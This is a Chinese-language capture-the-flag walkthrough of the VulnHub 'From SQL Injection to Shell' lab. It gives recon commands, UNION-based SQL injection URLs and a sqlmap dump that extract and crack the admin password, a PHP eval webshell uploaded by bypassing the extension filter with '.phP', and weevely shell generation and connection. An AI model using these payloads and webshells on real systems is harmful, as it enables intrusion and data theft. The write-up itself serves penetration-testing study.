My Awesome Photoblog靶机学习记录
关于靶机
破解渗透测试实验室:从 SQL 注入到 Shell VM
你好,朋友们!!今天,我们将解决另一个CTF挑战“从SQL注入到Shell I”。此 VM 由 Pentester Lab 开发。您可以从此处下载:https://www.vulnhub.com/entry/pentester-lab-from-sql-injection-to-shell,80/
在 VM 软件中安装 iso 映像并启动它。本练习中给出的任务是访问管理控制台并上传 PHP Webshell。
水平
初学者
说明
本练习说明如何从 SQL 注入中获取对管理控制台的访问权限。然后在管理控制台中,了解如何在系统上运行命令。
你会学到什么?
- 使用 UNION 的 SQL 注入利用
- 破解 md5 散列密码
- 编写 PHP Webshell
名称 | PENTESTER LAB: FROM SQL INJECTION TO SHELL |
---|---|
发布日期 | 2012年9月13日 |
作者 | Pentester Lab |
系列 | Pentester Lab |
网页 | https://www.vulnhub.com/entry/pentester-lab-from-sql-injection-to-shell,80/ |
环境
靶机:My Awesome Photoblog(IP:192.168.3.108)
攻击机:KALI(IP:192.168.3.96)
平台:VMware 16.2.4
信息收集
主机发现
arp-scan -l
使用nmap进行扫描主机
nmap -sS -Pn -A -p- -n 192.168.3.108
nmap -sV -p- 192.168.3.108
web指纹识别
whatweb -v 192.168.3.108
网站目录扫描
dirb http://192.168.3.108 /usr/share/dirb/wordlists/big.txt
查看html代码
访问http://192.168.3.108/
,Ctrl+U查看页面源代码:
发现代码中有cat.php?id=1
,疑似可以SQL注入。而admin/uploads/
则可能是文件上传的路径。
收集到的信息:
- IP => 192.168.3.108
- 开放的端口:
- 22 => ssh服务 —— OpenSSH 5.5p1 Debian 6+squeeze2 (protocol 2.0)
- 80 => http服务 —— Apache httpd 2.2.16 ((Debian))
- 扫描出来的网站目录
- 疑似可以SQL注入
- 可能存在文件上传
渗透测试
首先尝试登陆后台,这里介绍两种方法:
方法一:尝试进行SQL注入
判断是否可以注入:
构造url:
192.168.3.108/cat.php?id=1 and 1=1#
页面正常显示
192.168.3.108/cat.php?id=1 and 1=2#
页面不正常显示:
结论:由此说明参数id存在sql注入。
判断列数
192.168.3.108/cat.php?id=1 order by 1
192.168.3.108/cat.php?id=1 order by 2
……
192.168.3.108/cat.php?id=1 order by 5
此时发生报错:
则得知列数为4。
联合查询获取数据库名称
判断显示的列位:
192.168.3.108/cat.php?id=1 and 1=2 union select 1,2,3,4#
得知第二列为显示位。继续查询数据库名:
192.168.3.108/cat.php?id=1 and 1=2 union select 1,database(),3,4#
得知数据库名为 photoblog
联合查询遍历表名
192.168.3.108/cat.php?id=1 and 1=2 union select 1,table_name,3,4 from information_schema.tables#
发现有一个users表,可能是网站后台的账号密码。
查询users列名
192.168.3.108/cat.php?id=1 and 1=2 union select 1,column_name,3,4 from information_schema.columns where table_name = 'users'#
查询users表数据
192.168.3.108/cat.php?id=1 and 1=2 union select 1,login,3,4 from users#
得到后台管理员用户名 :
admin
192.168.3.108/cat.php?id=1 and 1=2 union select 1,password,3,4 from users#
得到密文:
8efe310f9ab3efeae8d410a8e0166eb2
长度为32,猜测为md5加密,在cmd5网站解密:
得到密码:
P4ssw0rd
登录后台
方法二 :使用sqlmap
因为网页的标题是“My Awesome Photoblog”,可以猜测数据库名称为photoblog
(在方法一中证明)
使用sqlmap获取该数据库的全部数据:
sqlmap –u http://192.168.3.108/cat.php?id=1 –D photoblog --dump-all --batch
直接获得了账户名和登录密码:
接下来getshell,这里介绍两种方法:
方法一:一句话木马+蚁剑连接
构造一句话木马yijuhua.php
并上传, 发现提示不允许上传php。进行一下简单的文件上传绕过,修改后缀为.phP
,成功上传。
1 | eval($_POST['cmd']); PHP @ |
蚁剑连接:
成功getshell!
方法二 :weevely(php菜刀)连接
使用kali中的工具weevely,生成一个webshell文件:
weevely generate hacker shell.php
修改后缀为.phP
进行文件上传,然后使用weevely连接webshell:
weevely http://192.168.0.131/admin/uploads/shell.PHP hacker
成功连接。